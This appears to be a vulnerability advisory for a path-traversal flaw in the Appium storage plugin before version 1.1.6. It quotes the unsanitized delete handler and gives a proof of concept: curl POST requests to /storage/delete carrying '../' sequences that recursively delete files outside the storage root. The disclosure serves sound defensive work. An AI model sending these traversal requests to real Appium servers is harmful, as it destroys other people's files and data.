Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 1.1.6, the Appium storage plugin exposes POST /storage/delete, whose handler passes the user-supplied name value directly into path.join(storageRoot, name) and fs.rimraf() without path sanitization, allowing an unauthenticated remote client to escape the storage root with ../ sequences and recursively delete arbitrary writable files or directories. This issue is fixed in version 1.1.6.
Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 1.1.6, the Appium storage plugin exposes POST /storage/delete, whose handler passes the user-supplied name value directly into path.join(storageRoot, name) and fs.rimraf() without path sanitization, allowing an unauthenticated remote client to escape the storage root with ../ sequences and recursively delete arbitrary writable files or directories. This issue is fixed in version 1.1.6.
Appium is a cross-platform automation framework for all kinds of apps, built on top of the W3C WebDriver protocol. Prior to 1.1.6, the Appium storage plugin exposes POST /storage/delete, whose handler passes the user-supplied name value directly into path.join(storageRoot, name) and fs.rimraf() without path sanitization, allowing an unauthenticated remote client to escape the storage root with ../ sequences and recursively delete arbitrary writable files or directories. This issue is fixed in version 1.1.6.
## Summary
The Appium storage plugin exposes an HTTP endpoint `POST /storage/delete` that takes a user-supplied `name` and deletes it from the server storage folder. The handler passes `name` straight into `path.join(storageRoot, name)` and then `fs.rimraf()` **without any path sanitization**. By sending a `name` containing `../` sequences, an unauthenticated remote client can escape the storage root and **recursively delete arbitrary files and directories** that the Appium process user can write, anywhere on the host filesystem.
The same plugin's *upload* path validates the name via `fs.sanitizeName` (`requireValidItemOptions`), but the *delete* path does not an asymmetry that makes the missing validation unambiguous.
### Details
Published build (`node_modules/@appium/storage-plugin/build/lib/storage.js`), and source (`packages/storage-plugin/lib/`):
- `packages/storage-plugin/lib/storage.ts:65-75` — `Storage.delete()`:
```ts
async delete(name: string): Promise<boolean> {
if (name.toLowerCase().endsWith(TMP_EXT)) {
return false;
}
const destinationPath = path.join(this._root, name); // <-- no sanitization
if (!(await fs.exists(destinationPath))) {
return false;
}
await fs.rimraf(destinationPath); // <-- recursive delete
return true;
}
```
- `packages/storage-plugin/lib/plugin.ts:77-83` — handler passes raw body:
```ts
STORAGE_HANDLERS.deleteStorageItem = async function deleteStorageItem(req) {
return await executeStorageMethod(
async (storage) => await storage.delete(parseRequestArgs(req, ['name']).name),
);
};
```
`parseRequestArgs` (`plugin.ts:94-106`) only checks that the key exists; it does **not** validate the value.
- Contrast — the upload path *does* sanitize: `storage.ts:53-54` `add()` →
`requireValidItemOptions()` (`storage.ts:236-256`) rejects any `name` that differs from `fs.sanitizeName(name)`. `delete()` skips this entirely.
### PoC
1. Install and start the server with the storage plugin:
```sh
npm install [email protected]
./node_modules/.bin/appium plugin install --source=npm @appium/storage-plugin
./node_modules/.bin/appium --use-plugins=storage --address 127.0.0.1 --port 4723
```
(Default `--address` is `0.0.0.0`; `127.0.0.1` used here for a contained test.)
2. Plant a victim file/dir outside the storage root, then delete via traversal:
```sh
mkdir -p /tmp/pv_dir && echo SECRET > /tmp/pv_dir/important.txt
echo single > /tmp/pv_file.txt
curl -s -X POST http://127.0.0.1:4723/storage/delete \
-H 'Content-Type: application/json' \
-d '{"name":"../../../../../../../../../../tmp/pv_file.txt"}'
# -> {"value":true}
curl -s -X POST http://127.0.0.1:4723/storage/delete \
-H 'Content-Type: application/json' \
-d '{"name":"../../../../../../../../../../tmp/pv_dir"}'
# -> {"value":true}
```
<img width="2182" height="678" alt="image" src="https://github.com/user-attachments/assets/a4984132-3334-41c5-9a29-12ec59461d25" />
### Impact
An unauthenticated attacker who can reach the Appium HTTP port (network by default, or cross-origin via a victim browser due to default CORS + no auth) can recursively delete any file or directory writable by the Appium process user. On CI runners, device farms, and developer machines this enables destruction of source trees, build artifacts, SSH keys, configuration, or the OS user profile data loss and denial of service. Appium frequently runs with broad privileges on shared device-lab hosts, amplifying impact.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
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datePublished: Jul 8, 2026, 8:56:30 PM
dateUpdated: Jul 9, 2026, 2:12:23 PM
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NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
The original JSON retains the logical configuration operators, exclusions and version bounds.
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.